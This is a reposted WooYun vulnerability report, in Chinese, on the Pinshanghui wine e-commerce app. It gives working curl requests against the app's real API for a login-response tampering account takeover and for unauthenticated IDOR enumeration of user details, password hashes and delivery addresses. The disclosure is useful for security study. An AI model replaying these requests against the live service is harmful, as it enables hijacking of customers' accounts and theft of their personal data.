品尚汇某处漏洞导致越权操作任意用户帐号,遍历全部用户收货地址

admin 2017年5月4日04:17:36评论503 views字数 238阅读0分47秒阅读模式
摘要

2016-04-06: 积极联系厂商并且等待厂商认领中,细节不对外公开
2016-05-21: 厂商已经主动忽略漏洞,细节向公众公开

漏洞概要 关注数(1) 关注此漏洞

缺陷编号: WooYun-2016-192848

漏洞标题: 品尚汇某处漏洞导致越权操作任意用户帐号,遍历全部用户收货地址

相关厂商: 深圳品尚汇电子商务股份有限公司

漏洞作者: 路人甲

提交时间: 2016-04-06 11:41

公开时间: 2016-05-21 11:50

漏洞类型: 网络设计缺陷/逻辑错误

危害等级: 高

自评Rank: 15

漏洞状态: 未联系到厂商或者厂商积极忽略

漏洞来源:www.wooyun.org ,如有疑问或需要帮助请联系

Tags标签: 设计不当

1人收藏


漏洞详情

披露状态:

2016-04-06: 积极联系厂商并且等待厂商认领中,细节不对外公开
2016-05-21: 厂商已经主动忽略漏洞,细节向公众公开

简要描述:

深圳市品尚汇电子商务股份有限公司(股票代码:833788)是中国高性价比进口产品电商。公司于2009年11月在广东深圳成立,2010年4月,官网正式上线,主营进口葡萄酒、啤酒、牛羊肉、生鲜产品等品类。目前公司拥有两大销售平台:B2C平台品尚汇;B2B平台店省省,完成B2C+B2B整个垂直电商生态系统构建。

详细说明:

问题出在APP上

注册登录看一下接口

curl -H "Content-Type: application/x-www-form-urlencoded" --data-binary "password=123456&username=weixinV9ZVWJNR5U" http://psapp.wine9.com/index.php/User/login/ce16f73b5c31c37760f811d6c6f80b39

看返回

HTTP/1.1 200 OK

Date: Tue, 05 Apr 2016 11:25:37 GMT

Server: Apache

Vary: Accept-Encoding

Content-Encoding: gzip

Keep-Alive: timeout=5, max=100

Connection: Keep-Alive

Content-Type: text/html

Content-Length: 89

{

"code": "0",

"message": "ok",

"result": {

"Code": "0",

"Message": "1550325"

}

}

没有token session之类的东西,只有一个用户id

这个id还是连续的

从社区入手,找几个版主之类的

品尚汇某处漏洞导致越权操作任意用户帐号,遍历全部用户收货地址

就找个这个兔子了

从这个接口中得到

http://psapp.wine9.com/index.php/BBS/GetReplyList/ce16f73b5c31c37760f811d6c6f80b39?id=2874&index=1&pagesize=10

userid

品尚汇某处漏洞导致越权操作任意用户帐号,遍历全部用户收货地址

再登录时,改包

{

"code": "0",

"message": "ok",

"result": {

"Code": "0",

"Message": "647836"

}

}

接下来,就如同登录上了一样的,看订单,下单什么都可以,用积分去交换都行。

品尚汇某处漏洞导致越权操作任意用户帐号,遍历全部用户收货地址

品尚汇某处漏洞导致越权操作任意用户帐号,遍历全部用户收货地址

再试几个主要的接口,发现其实是可以遍历的。这几个关键的接口都没有签名

比如查看用户信息:

curl http://psapp.wine9.com/index.php/User/getUserInfo/ce16f73b5c31c37760f811d6c6f80b39?session_id=0c64a3fad5aef75202bb2a7175035634&sign=bea76696f05aeff6d42c8aa951010b09&uid=647836

这个uid随便改

品尚汇某处漏洞导致越权操作任意用户帐号,遍历全部用户收货地址

password是什么呀salt这些都返回啦。。。

不知道是哪种编码,,关键信息加*了。看不到

再看一下接口,查找收货地址的

curl http://psapp.wine9.com/index.php/User/GetAddressList/ce16f73b5c31c37760f811d6c6f80b39?index=1&pagesize=10&sign=bea76696f05aeff6d42c8aa982d1410e&uid=2262620

居然这个uid也可以随便改的

我试了几个有地址的

http://psapp.wine9.com/index.php/User/GetAddressList/ce16f73b5c31c37760f811d6c6f80b39?index=1&pagesize=10&sign=bea76696f05aeff6d42c8aa982d1410e&uid=1550325

品尚汇某处漏洞导致越权操作任意用户帐号,遍历全部用户收货地址

http://psapp.wine9.com/index.php/User/GetAddressList/ce16f73b5c31c37760f811d6c6f80b39?index=1&pagesize=10&sign=bea76696f05aeff6d42c8aa982d1410e&uid=2227655

品尚汇某处漏洞导致越权操作任意用户帐号,遍历全部用户收货地址

漏洞证明:

再换几个

品尚汇某处漏洞导致越权操作任意用户帐号,遍历全部用户收货地址

品尚汇某处漏洞导致越权操作任意用户帐号,遍历全部用户收货地址

修复方案:

版权声明:转载请注明来源 路人甲@乌云


漏洞回应

厂商回应:

未能联系到厂商或者厂商积极拒绝

漏洞Rank:15 (WooYun评价)


漏洞评价:

对本漏洞信息进行评价,以更好的反馈信息的价值,包括信息客观性,内容是否完整以及是否具备学习价值

漏洞评价(共0人评价):

登陆后才能进行评分


评价

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin